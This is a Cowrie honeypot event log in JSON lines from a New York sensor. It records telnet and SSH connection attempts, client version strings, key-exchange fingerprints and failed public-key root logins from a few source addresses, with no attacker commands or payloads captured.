{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35246,"dst_ip":"10.17.0.5","dst_port":23,"session":"97c8d9c141ff","protocol":"telnet","message":"New connection: 152.42.224.71:35246 (10.17.0.5:23) [session: 97c8d9c141ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:27.403141Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:27.782345Z","src_ip":"43.134.228.151","session":"3adad6b29843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35262,"dst_ip":"10.17.0.5","dst_port":23,"session":"68bc104d991d","protocol":"telnet","message":"New connection: 152.42.224.71:35262 (10.17.0.5:23) [session: 68bc104d991d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:28.338853Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35268,"dst_ip":"10.17.0.5","dst_port":23,"session":"6460d1075cbc","protocol":"telnet","message":"New connection: 152.42.224.71:35268 (10.17.0.5:23) [session: 6460d1075cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:30.970072Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35278,"dst_ip":"10.17.0.5","dst_port":23,"session":"79f6d7b99fd0","protocol":"telnet","message":"New connection: 152.42.224.71:35278 (10.17.0.5:23) [session: 79f6d7b99fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:33.449311Z"}
{"eventid":"cowrie.session.closed","duration":8.706629991531372,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:36.109654Z","src_ip":"152.42.224.71","session":"97c8d9c141ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00173902511597,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:37.207644Z","src_ip":"152.42.224.71","session":"8e2f24243d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50370,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc56af3687f2","protocol":"telnet","message":"New connection: 152.42.224.71:50370 (10.17.0.5:23) [session: dc56af3687f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:38.106318Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50382,"dst_ip":"10.17.0.5","dst_port":23,"session":"f987a94c23a3","protocol":"telnet","message":"New connection: 152.42.224.71:50382 (10.17.0.5:23) [session: f987a94c23a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:40.998604Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50390,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb195f7e9f7","protocol":"telnet","message":"New connection: 152.42.224.71:50390 (10.17.0.5:23) [session: 1cb195f7e9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:42.025002Z"}
{"eventid":"cowrie.session.closed","duration":120.00326371192932,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:44.126589Z","src_ip":"152.42.224.71","session":"8a3bdbff29dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50392,"dst_ip":"10.17.0.5","dst_port":23,"session":"915a0855a413","protocol":"telnet","message":"New connection: 152.42.224.71:50392 (10.17.0.5:23) [session: 915a0855a413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:44.928137Z"}
{"eventid":"cowrie.session.closed","duration":118.01844358444214,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:45.076362Z","src_ip":"152.42.224.71","session":"667c8bb4a34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34766411781311,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:45.435097Z","src_ip":"152.42.224.71","session":"4dcc8395f7e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50660,"dst_ip":"10.17.0.5","dst_port":23,"session":"1908eecb2b7b","protocol":"telnet","message":"New connection: 152.42.224.71:50660 (10.17.0.5:23) [session: 1908eecb2b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:46.485203Z"}
{"eventid":"cowrie.session.closed","duration":64.56914710998535,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:48.599038Z","src_ip":"152.42.224.71","session":"3202dbd00cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5201eb3d131","protocol":"telnet","message":"New connection: 152.42.224.71:50664 (10.17.0.5:23) [session: a5201eb3d131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:49.066349Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":40324,"dst_ip":"10.17.0.5","dst_port":22,"session":"65475bc9b8df","protocol":"ssh","message":"New connection: 51.159.104.219:40324 (10.17.0.5:22) [session: 65475bc9b8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:49.556220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:49.562058Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:49.648490Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:26:90:0b:fc:fc:cc:d4:78:6d:f1:f2:13:6d:49:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvFiQlW5vh8pTk5/lXe1UjPMXRJFrjAKAFWQ45R6u1tcwlZ8ZWsG0S055CbnYmUpIPybv1ehZcxV12cu/8xljXmLE1wk7a1c9Os6WXE3XlL1+OWV/gONL8bP56oRH8Id6FCsDr5DSVSOY67Ismf4uM+CJcDfL1+ZI4I3aLROiRl59QiJ19cikR45atPUUrISVzPV+u+nvRkHdqEd+/BIJMECz/4swKgKnYIDot2VkmC+X7wcLSjuHxJUz25X+ya/X+Mh6sbrPoCAxHCuqhsPJ0v86341dEvUaGRKx6RFv6Yq7j13sMrab7eesrAExUFr5bCUQLgnmUNF3mWiVvolrWTjcaU8JETJkl6cMau00S4ZaCRIWb5fRPSc4RMf+tMGkWo+veDRaKL8Feg09CCNPdxXILLqFoiDt8TRFekLWnS3EZndnKIgicaJGPaq3nUccLe8JKkzYg7S7faDR0a1Ulb03e9MCKYX4dweCQl8j7KJ2RBQqg9UbHw8Ohq83oaQrUzQklUgBZ1A1rQI4+TANCKWV2qwGfMtV2s2QgTY411yBuvSmjYYVd1aP5OKD0BBrfCrUDNp1O6cpRMAN8NPHlq8TZonbpCv/MJuRPU0pSkD/H4BihXXwkb7lCculvldywRMnE+oFpGbsn//oz/e3xl/jDHj6NLWd3UHPduCT9wQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:26:90:0b:fc:fc:cc:d4:78:6d:f1:f2:13:6d:49:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.053760Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:26:90:0b:fc:fc:cc:d4:78:6d:f1:f2:13:6d:49:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvFiQlW5vh8pTk5/lXe1UjPMXRJFrjAKAFWQ45R6u1tcwlZ8ZWsG0S055CbnYmUpIPybv1ehZcxV12cu/8xljXmLE1wk7a1c9Os6WXE3XlL1+OWV/gONL8bP56oRH8Id6FCsDr5DSVSOY67Ismf4uM+CJcDfL1+ZI4I3aLROiRl59QiJ19cikR45atPUUrISVzPV+u+nvRkHdqEd+/BIJMECz/4swKgKnYIDot2VkmC+X7wcLSjuHxJUz25X+ya/X+Mh6sbrPoCAxHCuqhsPJ0v86341dEvUaGRKx6RFv6Yq7j13sMrab7eesrAExUFr5bCUQLgnmUNF3mWiVvolrWTjcaU8JETJkl6cMau00S4ZaCRIWb5fRPSc4RMf+tMGkWo+veDRaKL8Feg09CCNPdxXILLqFoiDt8TRFekLWnS3EZndnKIgicaJGPaq3nUccLe8JKkzYg7S7faDR0a1Ulb03e9MCKYX4dweCQl8j7KJ2RBQqg9UbHw8Ohq83oaQrUzQklUgBZ1A1rQI4+TANCKWV2qwGfMtV2s2QgTY411yBuvSmjYYVd1aP5OKD0BBrfCrUDNp1O6cpRMAN8NPHlq8TZonbpCv/MJuRPU0pSkD/H4BihXXwkb7lCculvldywRMnE+oFpGbsn//oz/e3xl/jDHj6NLWd3UHPduCT9wQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.056221Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:75:37:ce:cb:6c:b2:51:40:74:1e:6c:90:de:82:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSpmN/cWE/1yRYbommdIAC1G+GCU7YeDp2J38FcYBqaEFxos/y7VFWsbDyMa3f99gdwZE036FjZwnO3AMdsDb/txI0yAtoeoFr/Ebxg/gQbbFBj8giXQgqpWu56oBHKyVq5/zqk6Zw3bO+XCkF6Z1Z8aDQ9CKoMlwRtw6cz+kK44gvm448M5Ct2Cc8+ZBVR+tRoEEvRbxxkaRKghBBALX+G5vis1i09g6esV8BpmiXit9Dm4iJx85cDlIlMq1G6RcuOmj9Uo5IT2Voz+tSDTDYZe07fR2KR2DtnFzF0qfshQuACA00ijaqsHQ8CrDuw6m9fwmx6V8uy8UFVa1wbNCF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:75:37:ce:cb:6c:b2:51:40:74:1e:6c:90:de:82:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.141439Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:75:37:ce:cb:6c:b2:51:40:74:1e:6c:90:de:82:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSpmN/cWE/1yRYbommdIAC1G+GCU7YeDp2J38FcYBqaEFxos/y7VFWsbDyMa3f99gdwZE036FjZwnO3AMdsDb/txI0yAtoeoFr/Ebxg/gQbbFBj8giXQgqpWu56oBHKyVq5/zqk6Zw3bO+XCkF6Z1Z8aDQ9CKoMlwRtw6cz+kK44gvm448M5Ct2Cc8+ZBVR+tRoEEvRbxxkaRKghBBALX+G5vis1i09g6esV8BpmiXit9Dm4iJx85cDlIlMq1G6RcuOmj9Uo5IT2Voz+tSDTDYZe07fR2KR2DtnFzF0qfshQuACA00ijaqsHQ8CrDuw6m9fwmx6V8uy8UFVa1wbNCF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.145276Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:24:5a:b7:6c:83:d5:0b:2d:d8:18:03:b2:e6:ce:2e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKXKXFLYwt9l3CthQ/mh7vuw5z1FVeTKL+b64gKJW78jO1E0bF6S8+u6qgqhEg4GZmaIRBnzdrmWUCt01dlFl1UzEbs6I3ZZixJ2H3kh/03Swr6JED11Fc4MtI7jhr+SiW30Z/BRiH/SFeIrclnnlI2h7JVOkLdKex2fgqHw34upAAAAFQCU6JCHIdF6Hn/bMkDBDkTPZATe1wAAAIEAnsTvPHQwzqATs4lLVA6K6fvt7oeZLjF/RZodATYwf/5vOexJiX5W0D2psuNby+0LvRDlPusBMVSOdlZa0cX6tcfb/kzyITLxtPBxQL3mfpiJzmk+7T2wAl5zrPIwtCl56bv2NUPxrlvXUEPTygEIQMFOvEL0J+gKkFJQWi+eXYsAAACBAJ1ATFc5suhzVM/9yDtndEb8e8Vuqeqk99PWUN0LqZOyD1RBrR4u3iZp76xCvJElbphrWT5BTBtkuTmkTEgoWJOOa7ee+oNpOqJf6X/DLW9okkIPuTakksmOjNPnaw9ojgRz3w+kyuQHZtczyJU90sBxIRWDamg9dcHZRKS1rAhX","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 23:24:5a:b7:6c:83:d5:0b:2d:d8:18:03:b2:e6:ce:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.230272Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:24:5a:b7:6c:83:d5:0b:2d:d8:18:03:b2:e6:ce:2e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKXKXFLYwt9l3CthQ/mh7vuw5z1FVeTKL+b64gKJW78jO1E0bF6S8+u6qgqhEg4GZmaIRBnzdrmWUCt01dlFl1UzEbs6I3ZZixJ2H3kh/03Swr6JED11Fc4MtI7jhr+SiW30Z/BRiH/SFeIrclnnlI2h7JVOkLdKex2fgqHw34upAAAAFQCU6JCHIdF6Hn/bMkDBDkTPZATe1wAAAIEAnsTvPHQwzqATs4lLVA6K6fvt7oeZLjF/RZodATYwf/5vOexJiX5W0D2psuNby+0LvRDlPusBMVSOdlZa0cX6tcfb/kzyITLxtPBxQL3mfpiJzmk+7T2wAl5zrPIwtCl56bv2NUPxrlvXUEPTygEIQMFOvEL0J+gKkFJQWi+eXYsAAACBAJ1ATFc5suhzVM/9yDtndEb8e8Vuqeqk99PWUN0LqZOyD1RBrR4u3iZp76xCvJElbphrWT5BTBtkuTmkTEgoWJOOa7ee+oNpOqJf6X/DLW9okkIPuTakksmOjNPnaw9ojgRz3w+kyuQHZtczyJU90sBxIRWDamg9dcHZRKS1rAhX","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.271464Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:67:c0:57:5b:b3:85:5a:03:53:87:de:3d:3a:e6:91","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAII4YLC/si7Woy/aIQY1BcOF3twD/j4Lh3F5h/iv8Bf8ph+wenZN8AoTpVi+FyPDrfLfPCem+JXtfwEKSUn+Tbr/ZEk88UCChFCRz9xRWOh9q+kO1taEup6lM6YNHvMnBHmpDsTKp9M/mCKVFA/SZ2JOCfgt0dW2h1l57AFP9tELAAAAFQDmCXM5CUeBR/gE7LLqmCiixqHxDQAAAIABaGTVDOg71OdcS1qVf/Jo8e6fCV4qX6EYLhearoCe+q+Sb4iD+kSpkXeCbQ4GBv10Lb4d753oIv5JTD6ak0SarP12ZnhVs8tRwXnlPFhO5FM153SNXdBmJEAGMEUdXu12xxEAmaDN/Pkf67M0BkmEkkz25u4yQ2wXJd8ma98grQAAAIBxcLNZWFM7YcD4Gio3WMNrOs7mXTlPCnaK2WWLV34yUBz9CcWkoJ2cI8PpDMT8nXNsRzhFbMO7AXytPi88tFAfC2IdPIBMTmCspFUhdivDSYotM+uI1GITDBK5b/vAX+rZiecCkAF58NzcWVTP8RKHgBFALmwH34XDYu0/cLOtaA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0c:67:c0:57:5b:b3:85:5a:03:53:87:de:3d:3a:e6:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.356930Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:67:c0:57:5b:b3:85:5a:03:53:87:de:3d:3a:e6:91","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAII4YLC/si7Woy/aIQY1BcOF3twD/j4Lh3F5h/iv8Bf8ph+wenZN8AoTpVi+FyPDrfLfPCem+JXtfwEKSUn+Tbr/ZEk88UCChFCRz9xRWOh9q+kO1taEup6lM6YNHvMnBHmpDsTKp9M/mCKVFA/SZ2JOCfgt0dW2h1l57AFP9tELAAAAFQDmCXM5CUeBR/gE7LLqmCiixqHxDQAAAIABaGTVDOg71OdcS1qVf/Jo8e6fCV4qX6EYLhearoCe+q+Sb4iD+kSpkXeCbQ4GBv10Lb4d753oIv5JTD6ak0SarP12ZnhVs8tRwXnlPFhO5FM153SNXdBmJEAGMEUdXu12xxEAmaDN/Pkf67M0BkmEkkz25u4yQ2wXJd8ma98grQAAAIBxcLNZWFM7YcD4Gio3WMNrOs7mXTlPCnaK2WWLV34yUBz9CcWkoJ2cI8PpDMT8nXNsRzhFbMO7AXytPi88tFAfC2IdPIBMTmCspFUhdivDSYotM+uI1GITDBK5b/vAX+rZiecCkAF58NzcWVTP8RKHgBFALmwH34XDYu0/cLOtaA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.360895Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50674,"dst_ip":"10.17.0.5","dst_port":23,"session":"25848add930f","protocol":"telnet","message":"New connection: 152.42.224.71:50674 (10.17.0.5:23) [session: 25848add930f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.387046Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:19:74:2a:ff:1c:5b:3e:4e:dd:59:78:a7:1d:a8:d5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANnuNFCbOwK6hFljDQAowRNR7CyY2JJUb0TlaIiHwDhkaeq2b/YrNzTtRtt/zOZGJYKH0otXFtpRc74muFR2GC4iFkdlSPbzX7ReJryMhIZ0JWvqqrFrL833ABKBkLjm9CFhtVwIVT5CYis3EGKVzMXKvf5KNiz9WPSC554Fk9oVAAAAFQDUdurwMMxr643zB021LJA/MVGKtQAAAIEAtIQ789zVbqv+uaKJfbwxL30j/45O9DZw9/9/woWYbeGMOFEPCxS/TFSwvgj+mepco+nKdLh5Os8JQVb2XR/FhDxknH3znlXnLoSxq3OUp4Rm8HDgZxCuN/da9J6F3Q8J3U9Qt4EiLxW91zljMiw8TMnAzipf5g3gm3e2y/dkvS8AAACAVedmFOLyBZRkZLOZjbeQiN9lRDgOyZZ5LA84JhFoSX0y9fpMg/Ql+eA0yz41wSYonK76sqaD8YAJC7qSQ/DcI4g+mMUh5n6NYZDsLu8ASoo9z7hxKU/ZP/VYJwyMF94c1V6ZYTlfNqRUW1ut+m5PIMJACa78WKD7I5tP2qJXHw0=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint dd:19:74:2a:ff:1c:5b:3e:4e:dd:59:78:a7:1d:a8:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.446048Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:19:74:2a:ff:1c:5b:3e:4e:dd:59:78:a7:1d:a8:d5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANnuNFCbOwK6hFljDQAowRNR7CyY2JJUb0TlaIiHwDhkaeq2b/YrNzTtRtt/zOZGJYKH0otXFtpRc74muFR2GC4iFkdlSPbzX7ReJryMhIZ0JWvqqrFrL833ABKBkLjm9CFhtVwIVT5CYis3EGKVzMXKvf5KNiz9WPSC554Fk9oVAAAAFQDUdurwMMxr643zB021LJA/MVGKtQAAAIEAtIQ789zVbqv+uaKJfbwxL30j/45O9DZw9/9/woWYbeGMOFEPCxS/TFSwvgj+mepco+nKdLh5Os8JQVb2XR/FhDxknH3znlXnLoSxq3OUp4Rm8HDgZxCuN/da9J6F3Q8J3U9Qt4EiLxW91zljMiw8TMnAzipf5g3gm3e2y/dkvS8AAACAVedmFOLyBZRkZLOZjbeQiN9lRDgOyZZ5LA84JhFoSX0y9fpMg/Ql+eA0yz41wSYonK76sqaD8YAJC7qSQ/DcI4g+mMUh5n6NYZDsLu8ASoo9z7hxKU/ZP/VYJwyMF94c1V6ZYTlfNqRUW1ut+m5PIMJACa78WKD7I5tP2qJXHw0=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.449228Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:50.534790Z","src_ip":"51.159.104.219","session":"65475bc9b8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.61622929573059,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:51.430697Z","src_ip":"152.42.224.71","session":"231ff51ec40a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50678,"dst_ip":"10.17.0.5","dst_port":23,"session":"f65dadf8ed81","protocol":"telnet","message":"New connection: 152.42.224.71:50678 (10.17.0.5:23) [session: f65dadf8ed81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:53.362934Z"}
{"eventid":"cowrie.session.closed","duration":42.73849606513977,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:55.788902Z","src_ip":"152.42.224.71","session":"872f12348d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50682,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28791e88ead","protocol":"telnet","message":"New connection: 152.42.224.71:50682 (10.17.0.5:23) [session: e28791e88ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:55.866555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33698,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4aa31f6c0a","protocol":"telnet","message":"New connection: 152.42.224.71:33698 (10.17.0.5:23) [session: 0c4aa31f6c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:17:56.012674Z"}
{"eventid":"cowrie.session.closed","duration":34.188467264175415,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:05.158384Z","src_ip":"152.42.224.71","session":"6460d1075cbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":44504,"dst_ip":"159.203.135.109","dst_port":22,"session":"beceebce5423","protocol":"ssh","message":"New connection: 43.153.54.120:44504 (159.203.135.109:22) [session: beceebce5423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:06.081636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:06.087481Z","src_ip":"43.153.54.120","session":"beceebce5423","protocol":"ssh"}
